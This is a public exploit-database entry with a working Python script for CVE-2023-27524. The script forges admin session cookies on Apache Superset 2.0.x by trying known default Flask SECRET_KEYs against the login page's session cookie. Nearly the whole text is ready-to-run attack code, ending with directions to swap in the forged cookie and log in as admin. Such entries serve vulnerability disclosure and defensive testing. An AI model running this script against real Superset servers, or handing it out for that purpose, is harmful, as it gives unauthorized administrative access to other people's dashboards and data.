Exploit-DB #51447
Description: Apache Superset 2.0.0 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2023-05-23
Author: MaanVader

Exploit:
# Exploit Title: Apache Superset 2.0.0 - Authentication Bypass
# Date: 10 May 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://superset.apache.org/
# Version: Apache Superset<= 2.0.1
# Tested on: 2.0.0
# CVE: CVE-2023-27524

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
from selenium import webdriver
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
    parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
    args = parser.parse_args()

    try:
        u = args.url.rstrip('/') + '/login/'

        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
        }

        resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
        if resp.status_code != 200:
            print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
            return

        session_cookie = None
        for c in resp.cookies:
            if c.name == 'session':
                session_cookie = c.value
                break

        if not session_cookie:
            print('Error: No session cookie found')
            return

        print(f'Got session cookie: {session_cookie}')

        try:
            decoded = session.decode(session_cookie)
            print(f'Decoded session cookie: {decoded}')
        except:
            print('Error: Not a Flask session cookie')
            return

        match = re.search(r'"version_string": "(.*?)&#34', resp.text)
        if match:
            version = match.group(1)
        else:
            version = 'Unknown'

        print(f'Superset Version: {version}')

            
        for i, k in enumerate(SECRET_KEYS):
            cracked = session.verify(session_cookie, k)
            if cracked:
                break

        if not cracked:
            print('Failed to crack session cookie')
            return

        print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

        try:
            user_id = int(args.id)
        except:
            user_id = args.id
        
        forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
        print(f'Forged session cookie for user {user_id}: {forged_cookie}')
        u1 = args.url.rstrip('/') + '/superset/welcome'

        print(f"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)")




    except Exception as e:
        print(f'Unexpected error: {e}')


if __name__ == '__main__':
    main()